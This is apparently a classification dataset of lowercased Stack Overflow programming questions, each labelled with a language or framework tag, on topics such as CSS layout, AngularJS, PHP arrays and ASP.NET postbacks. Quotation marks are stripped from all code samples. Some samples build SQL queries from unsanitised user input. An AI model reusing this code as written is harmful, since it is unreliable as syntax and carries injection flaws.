infinite scroll + masonry overlap  i m testing my theme with the twitter behavior (load more button)  but i have a problem.    if the posts are all squared the posts doesn t overlap when clicking the  load more  button. but if the posts has automatic heights  the posts overlap.    i already looked for a solution in here  but none worked to me.    if i m doing something wrong just tell me.    this is my code:   <pre class= lang-js prettyprint-override ><code>$(function () {     var $container = $( #posts-container )     $container.infinitescroll({         navselector:  .infinite_scroll           nextselector:  .infinite_scroll a           itemselector:  .posts           behavior:  twitter           loading: {             msgtext:                 finishedmsg:                 img:  data:image/gif;base64 r0lgodlhaqabahaaach5bauaaaaalaaaaaabaaeaaaicraeaow==          }      }  function (newelements) {         var $newelems = $(newelements).css({             opacity: 0         });         $newelems.imagesloaded(function () {             $newelems.animate({                 opacity: 1             });             container.masonry( appended   $newelems  true);         });     });  });  var $container = $( #posts-container ); $container.masonry({     columnwidth: 1      itemselector:  .posts  }); </code></pre>   and my blog: <a href= http://paulirea.tumblr.com/  rel= nofollow >http://paulirea.tumblr.com/</a>,jquery
appending a value in variable changes both values  look at the code:   <pre><code>a = [ hello ] b = a          # [ hello ]  b.append(2) print b        # [ hello   2] print a        # [ hello   2] </code></pre>   here  a is assigned to b  meaning that the change of value in a can affect the value of b. how can the change in b can affect a in this case     is it that list in python have any special rule where appending a value can affect both a and b,python
angularjs - change another div s value on click  i have a div as below which calls a controller called watchlistcontroller .    <pre><code>&lt;div class= watchlist_col  ng-controller= watchlistcontroller &gt;                                             &lt;div class= wl_tabs  ng-repeat= my_watchlists in my_watchlist &gt;                             &lt;a href=   ng-click= get_watchlist_details(my_watchlists.groupid) &gt;{{my_watchlists.groupname}}&lt;/a&gt;                         &lt;/div&gt;                         &lt;a href= watchlists.html &gt;&lt;div class= viewall_wl &gt;view all watchlists&lt;/div&gt;&lt;/a&gt;                     &lt;/div&gt; </code></pre>   inside the watchlistcontroller   i have a method get_watchlist_details() which takes the group id as a parameter and returns either 1   2 or 3 based on the parameter input . i have tried but the parameter value (my_watchlists.groupid) cannot be fetched by the function get_watchlist_details at all .     any help would be appreciated,angularjs
how can i align some text vertically in the middle of an html image   i have this: <a href= http://jsfiddle.net/8kwth/  rel= nofollow >http://jsfiddle.net/8kwth/</a>    i would like to move the > so it is in the middle vertically of the two images.    how can i do this,css
how to get individual objects from nsuserdefaults array  i am getting user details from .net web server.    i place all these in an array.    now i need to place these array values in nsuserdefaults.    i try like this.    to store    <pre><code>nsuserdefaults *prefs=[nsuserdefaults standarduserdefaults];     [prefs setobject:resultdata forkey:@ agentinfo ];     [prefs synchronize]; </code></pre>   to get    <pre><code>nsuserdefaults *prefs=[nsuserdefaults standarduserdefaults]; [prefs arrayforkey:@ agentinfo ] </code></pre>   i am getting details like this   <pre><code> 970      aditya2      b      jntu1       ram@gamil.com  </code></pre>   how can i get individual numbers 970 aditya2...    because i need to assign them to label.    can any one pls help me.    thank u in advance,iphone
auto scale image in html tag  is there a way to get firefox (or a browser in general) to scale an image in an html image tag automatically depending on the window size  and then expand the image to full size upon clicking on it  in the same way that the browser displays an image if you view it directly (right click and hit view image),html
what event triggered when a page themes changed  hi all what event triggered when a page themes changed at dynamically   i faced this question in an interview..    ex: in orkut when we press the themes link/button we can get what we wanted..    thanks saj,asp.net
compare button value  i have two buttons in my view.   <pre><code>[button1 setbackgroundimage:image1 forstate:uicontrolstatenormal]; [button2 setbackgroundimage:image2 forstate:uicontrolstatenormal]; </code></pre>   how can i compare two images in these buttons  i de tried:   <pre><code>if (button1.imageview.image.cgimage == button2.imageview.image.cgimage) {    nslog(@ equal ); } else {   nslog(@ not equal ); } </code></pre>   it doesn t work :(.    any advice  thanks for help yayo,objective-c
angularjs push form data into json  this is my app.js   <pre><code>volkswagenapp         .controller( volkswagenctrl                [ $http    function($http){                  var vw =  this;                  vw.gegevens = [];                  $http.get( autos.json ).success(function(data){                  vw.gegevens = data;                  });             }]);       volkswagenapp        .controller( formcontroller  function(){         this.gegevens={};         /*this.addgegevens = function(gegeven) {         gegeven.gegevens.push(this.gegeven);         this.gegevens={};         }*/          this.addgegevens = function(gegeven){             this.gegevens.datum = date.now();             vw.gegevens.push(this.gegeven);             this.gegeven = {};            }           }); </code></pre>   and this is my index.html:   <pre><code>   &lt;span ng-show= show &gt;    &lt;form name= inputform  class= form-group  ng-controller= formcontroller as autoctrl        ng-submit= inputform.$valid &amp;&amp; autoctrl.addgegevens(gegeven)   novalidate&gt;   &lt;br&gt;   &lt;p&gt; type: &lt;input type= text  name= autoctrl.type  ng-model= type  style= margin-left:52px; padding-left:5px;  width:165px;  minlength= 2  maxlength= 10  required /&gt;&lt;/p&gt;     &lt;p&gt;bouwjaar: &lt;input type= number  name= bouwjaar  ng-model= autoctrl.bouwjaar   style= margin-left:22px; padding-left:5px;  width:165px;  minlength= 4  maxlength= 4  required /&gt;&lt;/p&gt;      &lt;p&gt;km: &lt;input type= number  name= km  ng-model= autoctrl.km  style= margin-left:60px; padding-left:5px;  width:165px;  minlength= 2  maxlength= 6  required /&gt;&lt;/p&gt;     &lt;p&gt;brandstof:  &lt;input id= select  name= brandstof  ng-model= autoctrl.brandstof  style= margin-left:20px; padding-left:5px;  minlength= 3  maxlength= 7  required/&gt;&lt;/p&gt;      &lt;p&gt;kenteken: &lt;input type= text  name= kenteken  ng-model= autoctrl.kenteken  style= margin-left:22px; padding-left:5px; width:165px;  minlength= 6  maxlength= 9  required /&gt;&lt;/p&gt;     &lt;p&gt;datum:         &lt;input type= text  name= datum  ng-model= autoctrl.datum   style= margin-left:40px; padding-left:5px;  width:165px;  minlength= 3  maxlength= 11  required  /&gt;&lt;/p&gt;     &lt;p&gt;checked: &lt;input type= checkbox   name= checked  ng-model= autoctrl.checked  style= margin-left:28px;  required /&gt;&lt;/p&gt;     &lt;br&gt;     &lt;button class= btn btn-primary  type= submit  value= submit &gt;toevoegen&lt;/button&gt;      &lt;div&gt;{{inputform.$valid}}&lt;/div&gt; </code></pre>        and this is the error in the console:   <pre><code>    error: can t find variable: vw </code></pre>   i know that the variable w isn t defined in formcontroller  my question is how can i adjust the form controller so that it works. i tried everything  searched the docs. watched several tutorials and i cant find out where im going wrong. this is for a school project. please help!,angularjs
web reference in wcf  in wcf if we use webreference in the client project additional argument called  isspecified of bool  is automatically added for each of the argument that written in the service. why it was happening,.net
asp.net - iis custom mapping extensions - how   i am wondering how one goes about creating/rerouting my custom developed .aspx pages on iis 6.0 pages to something totally custom w/o the .aspx extension  say  .vato   for example  instead of my page saying: default.aspx id=123  i would like users to see: default.vato id=123.      what concept is   is this doable   where can i research more on this topic,asp.net
delegation to multiple objects  is there any way to delegate to two objects at a time in objective-c  i know that delegation pattern implies one response at a time and for multiple listeners and broadcasting there is notification center but notification does not return any value.    if i have a heavily network-based ios project and need to delegate to multiple listeners and required to return values from them  in this scenario what approach should be the best,objective-c
how to efficiently find cgrects for visible words in uitextview   my goal is to mark all visible misspelled words in an uitextview.     the inefficient algorithm is to use the spell checker to find all ranges of misspelled words in the text  convert them to uitextrange objects using positionfromposition:indirection:offset etc  then get the graphics rects using the uitextinput method firstrectfromrange.    thus all the text -> misspelled words-> nsrange collection -> uitextrange collection -> cgrect collection -> evaluate for visibility  draw visible ones    the problem is that this requires that all the text is checked  and all misspelled words are converted to graphics rects.    thus  i imagine the way to go is to somehow find out what parts of the underlying .text in the uitextview that is visible at the moment.    thus for range of text visible -> misspelled words-> nsrange collection -> uitextrange collection -> cgrect collection -> evaluate for visibility  draw visible ones    the code in <a href= https://stackoverflow.com/questions/6067803/ios-how-to-find-what-is-the-visible-range-of-text-in-uitextview >ios - how to find what is the visible range of text in uitextview </a> might work as a way to bound what parts of the text to check  but still requires that all text is measured  which i imagine could be quite costly.    any suggestions,ios
syntax error  unexpected  else  (t_else) in c:\xampp\htdocs\latihan\prosesdaftar.php on line 34 <blockquote>    syntax error  unexpected  else  (t_else) in c:\xampp\htdocs\latihan\prosesdaftar.php on line 34  </blockquote>  <pre><code>&lt; php require_once( koneksi.php );  $username = $_post[ username ]; $pass = $_post[ password ];  $cekuser = mysql_query( select * from user where username =  $username  );  if(mysql_num_rows($cekuser) &gt; 0) {    echo  username sudah terdaftar! ;    echo  masih ada data yang kosong! ;    echo  &lt;a href= daftar.php &gt;back&lt;/a&gt; ; } else {  if(!$username || !$pass) {     $simpan = mysql_query( insert into user(username  password) values( $username   $pass ) );     echo  &lt;a href= daftar.php &gt;back&lt;/a&gt; ;  } else {    if($simpan) {   }      echo  pendaftaran sukses  silahkan &lt;a href= login.php &gt;login&lt;/a&gt; ;    } else {      echo  proses gagal! ;    } }  &gt; </code></pre>    <pre><code>   echo  pendaftaran sukses  silahkan &lt;a href= login.php &gt;login&lt;/a&gt; ; } else { </code></pre>   the problem is in the  else  what should i do,php
displaying output form rules to a textbox  i need help on how to display output from a rules engine to a form element in visual c#. i am developing a decision support system using visual c# 2010 and drools.net for the rules engine.,c#
find an exact text inside an string with mysql  i have a database table with two columns  one for the id and another one for colors. imagine that i have 3 lines in this table with the following data:   <pre><code>id: 1 =&gt; colors: blue; yellow; red; id: 2 =&gt; colors: green; greenyellow; yellowgreen; blue; id: 3 =&gt; colors: yellow; blue; </code></pre>   if i want to make a sql call to know if there is a register with yellow color (just yellow  no greenyellow or yellowgreen). how can i do it  i´m trying with:   <pre><code>$statement = $conexion-&gt;prepare( select * from comentarios  where suscritos like :suscritos ); $statement-&gt;execute(array( :suscritos  =&gt;  %yellow% )); $todos_mis_mensajes = $statement-&gt;fetchall(); </code></pre>  <blockquote>    ids results: 1  2 and 3  </blockquote>  <pre><code> $statement = $conexion-&gt;prepare( select * from comentarios  where suscritos like :suscritos );  $statement-&gt;execute(array( :suscritos  =&gt;  %yellow_ ));  $todos_mis_mensajes = $statement-&gt;fetchall(); </code></pre>  <blockquote>    ids results: no result  </blockquote>  <pre><code>$statement = $conexion-&gt;prepare( select * from comentarios  where suscritos like :suscritos ); $statement-&gt;execute(array( :suscritos  =&gt;  _yellow% )); $todos_mis_mensajes = $statement-&gt;fetchall(); </code></pre>  <blockquote>    ids results: 3  </blockquote>,mysql
divs width problem  my problem is that ratio of width/height (for div with id= wrapper   different is huge) isn t the same on chrome  mozilla and ie (ie looks like refuse attribute for heigt at all). any help  i need two divs fixed size  one beside other .   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en &gt; &lt;html&gt;     &lt;head&gt;         &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt;         &lt;title&gt;&lt;/title&gt;          &lt;style type= text/css &gt;              div#wrapper {                 width: 1000px;                 width:700px;                 margin-left:auto;                 margin-right:auto;                 overflow: hidden;             }             div#left {                 width: 80%;                 height: 80%;                 min-height: 80%;                 float: left;                 background-color: #dfdfdf;                 border-left-width:2px;                 border-left-style:solid;                 border-left-color:#606060;                 border-bottom-width:2px;                 border-bottom-style:solid;                 border-bottom-color:#606060;                 border-top-width:2px;                 border-top-style:solid;                 border-top-color:#606060;             }             div#right_up {                 width: 19%;                 height: 80%;                 min-height: 80%;                 float: left;                 background-color: whitesmoke;                 border-top-width:2px;                 border-top-style:dashed;                 border-top-color:#ff2a2a;                 border-right-width:2px;                 border-right-style:dashed;                 border-right-color:#ff2a2a;                 border-left-width:2px;                 border-left-style:solid;                 border-left-color:whitesmoke;             }           &lt;/style&gt;     &lt;/head&gt;     &lt;body id= body  &gt;         &lt;div id= wrapper &gt;             &lt;div id= left &gt;                          reference:              &lt;/div&gt;             &lt;div id= right_up &gt;              &lt;/div&gt;          &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,css
how can i use table cell as uiimageview not using custum cell   in my application i have to show image after every 3 rows.my image is static and it should come after every 3 rows.i don t want to take uiimageview and add it to cell but if there any way to show my image using directly cell s property.my image size is 320x87 pixels.,iphone
php get minimum value of a key in array of arrays  i have an array like this:   <pre><code>$array = array(     array( id  =&gt; 1   quantity  =&gt; 10)      array( id  =&gt; 2   quantity  =&gt; 25)      array( id  =&gt; 3   quantity  =&gt; 38)      ... ); </code></pre>   i want to find the array contains minimum of quantity. how can i do it simply in one two lines of code ! (i prefer to use php functions)    also if the variable is an object  does it make any difference !,php
how to write this code in simple way   i developed a code in cpp which can read a text file and counts the words in it and stores the output in txt file. like - 1 letter words <em>  2 letter words</em>  3 letter words_ etc.    i got the output but my code was not neat and my professor told me that you should have to write a code that everyone can understand. i tried to change it  but couldn t do it in better way. please suggest me the way to do this task in short and simple way in cpp.   <pre><code>#include &lt;fstream&gt; #include &lt;iostream&gt;  using namespace std;  void count_word(); void output_table(int&amp;  int&amp;  int&amp;  int);  int main() {     ifstream infile( input.txt );     if (infile.fail()) {         cout &lt;&lt;  input file not found  &lt;&lt; endl;         return 1;     }     count_word();     infile.close();     return 0; }  void count_word() {     ifstream infile( input.txt );     int l = 0  x = 0  y = 0  z = 0; // l = letter count  x=1 letter word  y=2 letter        word  z=3+letter word;     char c;                         // c = get command use from file;     while (!infile.eof() || infile &gt;&gt; ws) {         infile.get(c);         if (c !=    ) // to remove the counter from counting whitespace  as characters             l++;         if (c ==     || infile.eof()) // counter to implement the kind of words -&gt; 1 word 2 word or 3 words         {             if (l == 1)                 x++;             else if (l == 2)                 y++;             else if (l &gt;= 3)                 z++;             if (infile.eof())                 l = l - 1;            // removing the extra space from the last word due to end of file             output_table(x  y  z  l); // calling the output statements             l = 0;                    // resetting the letter count to 0 for the next word         }     }     infile.close(); }  void output_table(int&amp; x  int&amp; y  int&amp; z  int l) {     ofstream outfile( output.txt );     outfile &lt;&lt;  1 letter words  :  &lt;&lt; x &lt;&lt; endl;     outfile &lt;&lt;  2 letter words  :  &lt;&lt; y &lt;&lt; endl;     outfile &lt;&lt;  3+ letter words :  &lt;&lt; z &lt;&lt; endl;     outfile &lt;&lt; endl;     cout &lt;&lt;  frequency of the word :\t  &lt;&lt; l &lt;&lt; endl;     cout &lt;&lt;  1 letter words :  &lt;&lt; x &lt;&lt; endl;     cout &lt;&lt;  2 letter words :  &lt;&lt; y &lt;&lt; endl;     cout &lt;&lt;  3 letter words :  &lt;&lt; z &lt;&lt; endl;     cout &lt;&lt; endl;     outfile.close(); } </code></pre>,c++
!ispostback returns always true  i am trying to implement search operation for my gridview.when i load my page first time !ispostback works fine but when i click on the search button my page loads again and !ispostback returns true value.so  i was not able to perform my search operation this is my code.   <pre><code>protected void page_load(object sender  eventargs e) {     if(!ispostback)     {         ((label)master.findcontrol( label1 )).text = (string)session[ sname ];          filldata();     } }  public void filldata() {     if (con.state == connectionstate.open)     {         con.close();     }      con.open();     sqlcommand cmd = new sqlcommand( select * from ebr_supplier where deleteflag=  + 0 +   order by rowid asc   con);     sqldataadapter adap = new sqldataadapter(cmd);      dataset ds = new dataset();      adap.fill(ds);     gridview1.datasource = ds;     gridview1.databind();     }  protected void gridview1_pageindexchanging(object sender  gridviewpageeventargs e) {     gridview1.pageindex = e.newpageindex;     filldata(); }  protected void search_click(object sender  eventargs e) {     string id = txtid.text;     if (con.state == connectionstate.open)     {         con.close();     }      con.open();     sqlcommand cmd = new sqlcommand( select * from ebr_supplier where deleteflag=  + 0 +   and supplierid=   + id +    order by rowid asc   con);     sqldataadapter adap = new sqldataadapter(cmd);      dataset ds = new dataset();     adap.fill(ds);     gridview1.datasource = ds;     gridview1.databind(); } </code></pre>,asp.net
an error in taking an input in python  111111111111111111111111111111111111111111111111111111111111    when i take this as input   it appends an l at the end like this     111111111111111111111111111111111111111111111111111111111111l    thus affecting my calculations on it .. how can i remove it    <pre><code>import math t=raw_input() l1=[] a=0 while (str(t)!=   and int(t)!= 0):     l=1     k=int(t)     while(k!= 1):         l=l+1         a=(0.5 + 2.5*(k %2))*k + k % 2         k=a      l1.append(l)     t=raw_input()     a=a+1   for i in range(0 int(a)):     print l1[i] </code></pre>   this is my code and it works for every test case except 111111111111111111111111111111111111111111111111111111111111    so i guess something is wrong when python considers such a huge number,python
bypassing uiimagepicker in iphone sdk  from my understanding on iphone sdk  the app runs in a sandbox &amp; the only way to get access to photo library is thru the uiimagepicker. wondering if there is any way to bypass uiimagepicker &amp; still get all the images from the user s photo library.     i am looking for something like java s file api. (if we want list all files in a dir  as we can use dir.list() .. do we have anything similar to this in iphone sdk),iphone
how to style css role  in the following html   <pre><code>&lt;div id= content  role= main &gt; </code></pre>   the id can be accessed through <code>#content</code> in css. how do i access <code>role= main </code>.,css
api to monitor iphone app store reviews  i m trying to develop a review monitoring system for several iphone apps i ve developed  for instance to email me with the contents of a review when one comes in.  (right now  without an iphone  i can t even view reviews.) i was hoping there was some online browser for the app store (like cyrket for android)  but i am unsure if this exists (i can t find any definitive answer via searching).      is there any online browser that can be scraped  or is there at least some api i can use to view app reviews   or will it come down to sniffing packets and reverse engineering the app store protocol,iphone
"position fixed not working on scroll down in chrome - inspector device  i think it s weird but  when i test my website on inspector web with chrome tools my header in <code>position:fixed</code> not work. in all the other browser and screen dimension work good. just in inspector web doesn t work.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.site-header{ display: block;}
 .header-top{
  background-color: #87b7bb;
  height: 90px;
  position: fixed;
  width: 100%;
  z-index: 1;
   -webkit-box-shadow: 0px 0px 10px 0px rgba(0 0 0 0.66);
     -moz-box-shadow: 0px 00px 10px 0px rgba(0 0 0 0.66);
     box-shadow: 0px 0px 10px 0px rgba(0 0 0 0.66);
 }
 .block{
     position:static;
  background-color: #000;
    height:1000px;
   width:100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= site-header  &gt;
   &lt;div class= header-top &gt;
   &lt;/div&gt;
 &lt;/div&gt;&lt;!-- #masthead --&gt;
 &lt;div class= block &gt;
  &lt;p&gt; 
 
  &lt;/p&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     when i use the inspector tools i can change all the setting and i see the changes  but fixed position not work.     also  this happens only with scroll down. when i make scroll up i see the header move on the top on my windows in the right way.     some one can help me",css
how can i start at the exact top of the website in css  i tried to display a bar at the top of the web page but the bar appears about 5 px empty place at the top  right and left sides of the page. the image was 1 black line and i wanted to repeat it from left to right. how can i fix it     <pre><code>       ul.postinge        {        width:auto;        position:relative;        margin:0cm 0cm 0cm 0 cm;        display:block;        height:105px;        background:url(images/bar.jpg) repeat-x top left;        } </code></pre>   thanks,css
html padding white space  i need a second pair of eyes  if someone could help me please.     i have uploaded my index page to this site <a href= http://preview.tinyurl.com/ct9whug  rel= nofollow >http://preview.tinyurl.com/ct9whug</a>    if you could have a look at my source code/css and see what the problem is  as there is a white space at the top of my web page (about 35px in height)  and i can t seem to find what the problem is.,html
c program exits on executing execlp function  i know that execlp replaces the current process.i am trying to run   <pre><code>execlp( mpg123    mpg123    -q    1.mp3   0); </code></pre>   is there any way i can keep the program running while execlp executes,c
link created using javascript is not working in ie  i have created a more link using javascript. its working fine in firefox and crome. but same is not working in ie.    below is the code i have written for the same.   <pre><code>var underline = document.createelement( u ); underline.innerhtml =  more ; var newlink = document.createelement( a ); newlink.setattribute( class    a ); newlink.setattribute( id    morelink +count); newlink.setattribute( onmouseover    somejavascript ); newlink.appendchild(underline); somediv.appendchild(newlink); </code></pre>   can any one please help me out how to fix this issue for ie     thanx in advance.,javascript
how to open dalvik .dex files and get the dalvik byte code of the application from apk format  how can i open android .dex files   how to get the dalvik byte code of the application from the apk format      i need to apply some algorithm on the dalvik byte code of the application. therefore i need to get a readable form of the dalvik byte code of the application. how can i get that,android
printing sdk for ios other than airprint and google cloud print  my requirement is print a webview content in iphone application. i don t want to use airprint or google cloud printing.is there is any 3rd party sdk available for printing like  hp mobile printing sdk  for windows mobile.    thanks in advance srividya,ios
how to notify the alertview before showing to any view or window   i am developing a application for iphone.i have done some simple animation with  start and stop buttons.i have a scenario to  got any alert (ex: reminder) i need to stop the animation with out clicking stop button.    can you please help me on this.,iphone
asp.net page_init fired twice!  i have autoeventwireup= true  and in my code behind   <pre><code>protected void page_init(object sender  eventargs e) {   } </code></pre>   when i m debugging  the page_init method is getting fired twice!    whats going on,asp.net
remove property from css rule in a stylesheet i don t have direct access to  i am using a stylesheet in my code to stylize proprietary widgets  therefore i don t have access to alter the base stylesheet (nor is that really good practice anyway). one of the styles is causing problems in my application and i determined that the <code>margin: 0</code> property needs to be removed entirely from this css rule:   <pre><code>.esribasemapgalleryselectednode .esribasemapgallerythumbnail {       border: 2px solid #f99;       margin: 0; } </code></pre>   is there a way to do this  since i cannot view the stylesheet in a formatted way  i cannot get the index of this rule. the styles aren t in-line so i don t think i can use the .css() method. if i can t remove it  the only alternative i can think of is setting it to 1px (which i tested and it removed the problem that s occurring) but i m not a big fan of that solution.,css
why chdir does not support in java   i would like to know the actual reason behind why java does not provide chdir call implementation however it provides native interfaces for the same.,java
anniversary from contacts in iphone  i m able to get birth dates from contacts but not the anniversary dates on iphone. i have used kabpersonanniversarylabel but it is giving an error.,iphone
how do i know that an android app has been loaded for the first time   how do i figure out  if an app is loaded for the first time after it has been downloaded. i mean when the app is first bought/downloaded from market  how will i figure it that this is the first time(never has been run on this phone) this is going to run hence i can throw up some registration activity    <hr>   yeah  i thought of declaring a table which is checked to see if it has any rows. if there were rows then this was because it had been loaded and we inserted a row.    but i want to avoid this  is their any api which can tell me that the user had used this app before on this phone,android
php copy issue with foreach loop-only last image being uploaded  i am trying to upload remote file using below code for testing purpose and to my surprise only last images are being uploaded.. i changed the sequence of images and it was always last image which was uploading rest are failing. inbrowser console i can see below error.    <b>warning</b>:  copy(<a href= http://example.com/your-heart.jpg  rel= nofollow noreferrer >http://example.com/your-heart.jpg</a> ): failed to open stream: http request failed! http/1.1 404 not found  in <b>/home/example/minimum.php</b> on line <b>205</b><br />  it is coming from form with text field name is urls    here is my php   <pre><code> $image_links = explode( \n   $_post[ urls ]);     $i = 1;    foreach($image_links as $image_link){       $file_info = pathinfo($image_link);       copy($image_link   /home/xxxxx/00  . $i .  _original.  . $file_info[ extension ]);       $i++;     } </code></pre>   any help will be great.  i tried so many different things for copy parameters like single quote  double quote and several other things but always same output. only last image upload and it says all other images are not found. i even tried to replace http with www . my sample urls are  <a href= http://example.com/color-your-heart.jpg  rel= nofollow noreferrer >http://example.com/color-your-heart.jpg</a> output of var dump   <pre><code>array(2) {   [0]=&gt;   string(61)  http://example.com/thumb/color-your-heart.jpg     [1]=&gt;   string(64)  http://example.com/thumb/mobile-price-real-time-calculator.png  } </code></pre>,php
iframe problem in aspx  i m trying to add this iframe to my aspx page and i m trying to set the  src  attribute to the page i want with few url parameters. any idea    <pre><code>&lt;iframe      src= &lt;%#  fileupload.aspx folderlevel1=a1&amp;folderlevel2=  + session[ level2 ] %&gt;        visible= true  scrolling= no  height= 100px  width= 400px  frameborder= 0        id= i1  name= i1 &gt; &lt;/iframe&gt;  </code></pre>   thanks.,asp.net
respond_to format.html too few arguments  in a add bibliography form  i create an add author form that adds an author using json.     this works fine.     however  when the author gets added to the database  i want to show a success message.    this is my code:   <pre><code>def create     @auteur = auteur.new(params_auteur)     respond_to do |q|         if @auteur.save             format.html{ redirect_to @auteur  notice:  auteur added successfully. }             format.js{}             format.json{                 render json: @auteur  status: :created  location: @auteur             }         else             format.html{ render action:  new }             format.json{ render json: @auteur.errors  status: :unprocessable_entity}         end     end end </code></pre>   then i added a file <code>views/auteurs/create.js.erb</code> that contains this code:   <pre><code>$( &lt;%= escape_javascript(render @auteur) %&gt; ).appendto( .bloque_ajoute_auteur );  </code></pre>   the error message i get is generated right after the (successful) insert of the new author into the database:   <pre><code>completed 500 internal server error in 10ms (activerecord: 1.6ms) argumenterror (too few arguments): app/controllers/administration/auteurs_controller.rb:23:in `format  app/controllers/administration/auteurs_controller.rb:23:in `block in create  app/controllers/administration/auteurs_controller.rb:21:in `create  </code></pre>   line 21 is the beginning of the respond_to block; line 23 is <code>format.html{ redirect_to @auteur  notice:  auteur ajouté. }</code>     i thought i had pretty closely followed this: <a href= http://guides.rubyonrails.org/working_with_javascript_in_rails.html#server-side-concerns  rel= nofollow noreferrer >http://guides.rubyonrails.org/working_with_javascript_in_rails.html#server-side-concerns</a>,ruby-on-rails
how mysql do the redo operation   we know in sql server   the transaction log file contains both redo and undo log  however in the mysql transaction log  it only contains the undo log   so how the mysql do the redo operation if it just writing just partial of the transaction data  for a successfully transaction  then the server down   as it is necessary to do the redo operation when reboot the server.    <strong>eidt  sorry  i typo  i mean why mysql doesn t have the redo log instead of the undo log.</strong>,mysql
failer to import with gradle thrivecom.ringcaptcha  im trying to import an sdk called ringcaptcha and unfortunately i have followed their docs without much success. i have the following statement in my build.gradle file:   <pre><code>    repositories {     maven { url  http://ringcaptcha.github.io/ringcaptcha-android } }  dependencies {     compile filetree(dir:  libs   include: [ *.jar ])     compile  com.android.support:appcompat-v7:23.3.0      compile  com.android.support:recyclerview-v7:23.3.0      compile  com.android.support:design:23.3.0      compile  com.android.support:cardview-v7:23.3.0      compile  com.android.support:percent:23.3.0      compile  com.google.android.gms:play-services-maps:6.5.87      compile  com.jakewharton:butterknife:7.0.1      compile  com.squareup.retrofit2:retrofit:2.0.2      compile  com.squareup.okhttp3:logging-interceptor:3.2.0      compile  com.jakewharton:butterknife:7.0.1      compile  com.squareup.retrofit2:converter-gson:2.0.0      compile  com.thrivecom:ringcaptcha:1.0.8@aar  // sms service } </code></pre>   and i get failed to resolve com.thrivecom.ringcaptcha:1.0.8,android
php add to array without overrides existing value   i have a simple shopping cart array. i can add in the id fine. however each time i go to submit the form it overrides the existing value  what is the best way to stop this from happening  below is an example of when the form is submitted    <pre><code>session_start(); $id = filter_var($_post[ phone-id ]  filter_sanitize_number_int); $phone_title = filter_var($_post[ phone-title ]  filter_sanitize_string); $phone_price = filter_var($_post[ phone-price ]  filter_sanitize_string); $phone_quantity = filter_var($_post[ quantity ]  filter_sanitize_number_int);    $_session[ cart ][ id ] = array();   $_session[ cart ][ id ] = $id; var_dump($_session[ cart ]); </code></pre>,php
null reference at dataset row count  here is my count. trying to check row count at of dataset but getting the error:    <blockquote>    object reference not set to an instance of an object at if   (ds.tables[ getcaseinformationbycasestatusandcasenumber ].rows.count   != 0).  </blockquote>   please help.   <pre><code> using (sqlcommand getcaseinformationbycasestatusandcasenumbersp = new sqlcommand( getcaseinformationbycasestatusandcasenumbersp   apptestconn))  {      getcaseinformationbycasestatusandcasenumbersp.commandtype = commandtype.storedprocedure;      getcaseinformationbycasestatusandcasenumbersp.parameters.addwithvalue( @username    nguyenlc );      getcaseinformationbycasestatusandcasenumbersp.parameters.addwithvalue( @casestatus   textbox1.text);      getcaseinformationbycasestatusandcasenumbersp.parameters.addwithvalue( @casenumber   casenumbertextbox.text);      getcaseinformationbycasestatusandcasenumbersp.executenonquery();       sqldataadapter da = new sqldataadapter(getcaseinformationbycasestatusandcasenumbersp);      dataset ds = new dataset();      da.fill(ds   getcaseinformationbycasestatusandcasenumbertable );      reviewcasestatuslistview.datasource = ds.tables[ getcaseinformationbycasestatusandcasenumbertable ];      reviewcasestatuslistview.databind();       if (ds.tables[ getcaseinformationbycasestatusandcasenumbertable ] != null)      {          if (ds.tables[ getcaseinformationbycasestatusandcasenumber ].rows.count != 0)          {              caseuploadhistorylabel.text =  case upload history: ;              caseuploadhistorylabel.visible = true;           }        } } </code></pre>,c#
can someone copyright a sql query   i work for a school district. every year we have to export a list of students from our student management system and send it to a company that handles our online exams.    so to do this export  we had to hire someone who knew the inner workings of our student management system. he wrote an sql (adaptive sybase sql anywhere) query to export the students to a csv file like we needed. this was before i started working for the district  so for a while i assumed this was an actually application  until it came time for me to do the export myself.    and every year he charges us $500 to update this query to export the students for the current year. so when i discovered it was only a query (.bat file and .sql file)  my thought was  i can update this myself . all i have to do is change the years in the query (eg. 2009 to 2010).    the query (.sql file) itself has this comment at the top:   <pre><code>// this code was writtend by [the guy] // and is the property of [his company]...copyright 2005 2006 2008 2009 // this code may not be used without the expressed written consent of  // [his company]. </code></pre>   (yes  it really does says  writtend .)    so now my boss is worried that we re violating the copyright. and that the guy is gonna find out that i updated the query myself because we haven t asked him to update it this year and take legal action.    so back to the subject s question: can he really copyright this query  and if so  is modifying it ourselves a copyright violation  in my mind  a single query isn t program code. it s more a command line command. but i don t know what it s considered legally.,sql
how would i get the value of a class like this   <code>span class= robux   original-title= 525 r$ &gt; 525</code>    how would i get the value in the quotes by original-title  i really need this for something.,jquery
increase span width not with text width - css  i am trying to increase the width of #item  but it increases only with text width.    <strong>html</strong>   <pre><code>&lt;div&gt;&lt;span class= item &gt;brand strategy:&lt;/span&gt;&lt;span class= summary &gt;strategy&lt;/span&gt;&lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>.item{background-color:#000; height:40px; color:#fff; text-align:center; width:200px;} </code></pre>   how do i get the specified width for #item.    thanks jean,css
ng-change does not work when selected items are changed  i m new to angular  i was trying to display cascading dropdown lists. here is my html code   <pre><code>&lt;div class= row  ng-controller= createcabsticketcontroller as tktcreatecabscntrl &gt;      &lt;select id= localcompanyidforsearch  ng-change= getixs()  ng-model= createcabsticket.cabscompanies.selected  name= localcompanyidforsearch  class= form-control  style= width:100%; &gt;                 &lt;option value=   &gt; &lt;/option&gt;                 &lt;option ng-repeat= localcompany in createcabsticket.cabscompanies                          value= {{ localcompany.companyid }} &gt;                     {{ localcompany.longdescription }}                 &lt;/option&gt;             &lt;/select&gt;     &lt;select id= ixcname  name= ixcname  class= form-control  style= width:100%; &gt;                 &lt;option value=   &gt; &lt;/option&gt;                 &lt;option ng-repeat= ix in createcabsticket.ixcarriernames                          value= {{ ix.interexchange }} &gt;                     {{ ix.interexchange }}                 &lt;/option&gt;             &lt;/select&gt; </code></pre>   and here is my js file contents   <pre><code>app.controller( createcabsticketcontroller  [ $scope   $http  function($scope $http){     